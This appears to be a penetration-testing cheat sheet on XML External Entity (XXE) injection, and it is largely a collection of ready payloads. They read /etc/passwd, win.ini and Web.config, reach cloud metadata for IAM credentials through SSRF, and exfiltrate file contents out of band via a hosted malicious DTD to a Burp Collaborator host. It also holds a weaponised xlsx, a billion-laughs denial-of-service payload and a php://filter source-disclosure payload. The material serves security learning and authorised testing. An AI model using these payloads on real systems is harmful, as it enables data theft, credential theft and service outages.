XML External Entity Injection (XXE)

This attack occurs when untrusted XML input containing a reference to an external entity is processed by a weakly configured XML parser.

This attack may lead to the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning from the perspective of the machine where the parser is located, and other system impacts.

💡 See labs WebSecurityAcademy (PortSwigger) – XML external entity (XXE) injection.

Testing XXE

XML injection testing checks if it possible to inject a particular XML document into the application. Testers find an XML injection vulnerability if the XML parser fails to make appropriate data validation. An XML Injection attack breaks the following pattern:

Input -> XML doc == XML injection

XXE in SAML response parsing

Encode this payload in URL before replacing the XML in the HTTP request.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://someurl/evil.dtd">
<data>&send;</data>

Payload Examples

Retrieve files from server

  • Insert the XXE payload to read /etc/passwd just after the XML declaration in the XML.
  • Insert “&xxe;” in one field. Adapt based on the XML fields available.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Example 1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Example 2

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Example 3 – win.ini

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
<foo>&xxe;</foo>

SSRF / Access private network

An attacker probes the server’s private network (exploit XXE to perform SSRF attacks).

  • Insert the XXE payload to perform a SSRF attack just after the XML declaration in the XML.
  • Insert “&xxe;” in one field. Adapt based on the XML fields available.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://x.x.x.x/someprivatepath"> ]>

Example

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind XXE out-of-band

See Finding and exploiting blind XXE vulnerabilities.

  • You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data.
  • You can trigger XML parsing errors in such a way that the error messages contain sensitive data.

Detect using same technique as SSRF but with the Burp Collaborator instead of a private network IP:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://<BURP COLLABORATOR ID>"> ]>

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. Parameter entities are referenced using the percent character (“%xxe;”) instead of the usual ampersand (“&xxe;”).

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://<BURP COLLABORATOR ID>"> %xxe; ]>

Example – XML regular entities

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://<BURP COLLABORATOR ID>.oastify.com"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Example – XML parameter entities

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://<BURP COLLABORATOR ID>.oastify.com"> %xxe; ]><stockCheck><productId>%xxe;</productId><storeId>1</storeId></stockCheck>

Blind XXE to exfiltrate data using a malicious external DTD

Host this file (myprecious.dtd):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://<BURP COLLABORATOR ID>.oastify.com?x=%file;'>">
%eval;
%exfiltrate;

Send this payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://<YOUR WEB SERVER>/myprecious.dtd"> %xxe;]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Blind XXE to retrieve data via error messages

Trigger an XML parsing error where the error message contains the sensitive data that you wish to retrieve.

Host this file (myprecious.dtd):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Send this payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://<YOUR WEB SERVER>/myprecious.dtd"> %xxe;]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Invoking the malicious external DTD will result in an error message like the following:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></foo>

Via file upload (Excel file)

Requires an xlsx upload function which can be exploited because an xlsx consists of several xml files. To do so, an external identity is specified in an Excel document. Upon the upload of the document, the application throws an error to notify the user that the value of the external entity could not be properly parsed and displays its value.

  • Create Excel file (xlsx).
  • Open with 7z to see content of the ZIP file.
  • Go to xl\worksheets
  • Right-click on sheet1.xml
Insert DOCTYPE between <?xml and <worksheet like this:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Add "<x>&xxe</x>" between "<c r="A1" t="s"><v><x>&xxe</x></v>"

Replace content of sheet1.xml with this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xr:uid="{C0835799-9F3E-4E80-B6D8-6EC4F1A6A089}"><dimension ref="A1"/><sheetViews><sheetView tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="1" spans="1:1" x14ac:dyDescent="0.25"><c r="A1" t="s"><v><x>&xxe</x></v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></worksheet>

Denial of Service (DoS)

An attacker attempts a denial-of-service (DoS) attack by including a potentially endless file:

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

BILLION LAUGHS ATTACK (DENIAL OF SERVICE)

When an XML parser loads this document, it sees that it includes one root element, “lolz”, that contains the text “&lol9;”. However, “&lol9;” is a defined entity that expands to a string containing ten “&lol8;” strings. Each “&lol8;” string is a defined entity that expands to ten “&lol7;” strings, and so on. After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually contain 109 = a billion “lol”s, taking up almost 3 gigabytes of memory.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Example 7: RSS feed

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Channel Title</title>
<link>http://example.com/</link>
<description>Channel Description</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Item Description</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Example 8

POST /getinfo HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>foo</search>
<value>noob</value>
</root>

Handlers usable without external entity support

  • libxml2: file http ftp
  • PHP (see PHP wrappers): file http ftp php compress.zlib compress.bzip2 data glob phar
  • Java: http https ftp file jar netdoc mailto gopher (removed 2012)
  • .NET: file http https ftp

jar://… handler can be used to:

  • Peek inside ZIP files
  • Upload files (!)

Older versions of Java allow arbitrary data to be sent over TCP via
gopher://…
gopher://{host}:{port}/{type}{request}
– Any host, any TCP port
–type is a single digit integer
–request can be any binary data, percent-encoded

Handler gives directory listing

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://..."> ]>

Examples

https://github.com/GoSecure/dtd-finder/tree/master/list

Try with these local files (files on victim server): https://github.com/GoSecure/dtd-finder/blob/master/list/dtd_files.txt

Find the payload corresponding to local file: https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md

Example with /C:\Windows\System32\wbem\xml\cim20.dtd

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">

    <!ENTITY % CIMName '>
        <!ENTITY % file SYSTEM "file:///C:\inetpub\wwwroot\Web.config">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa "bb"'>

    %local_dtd;
]>
<message></message>

Reporting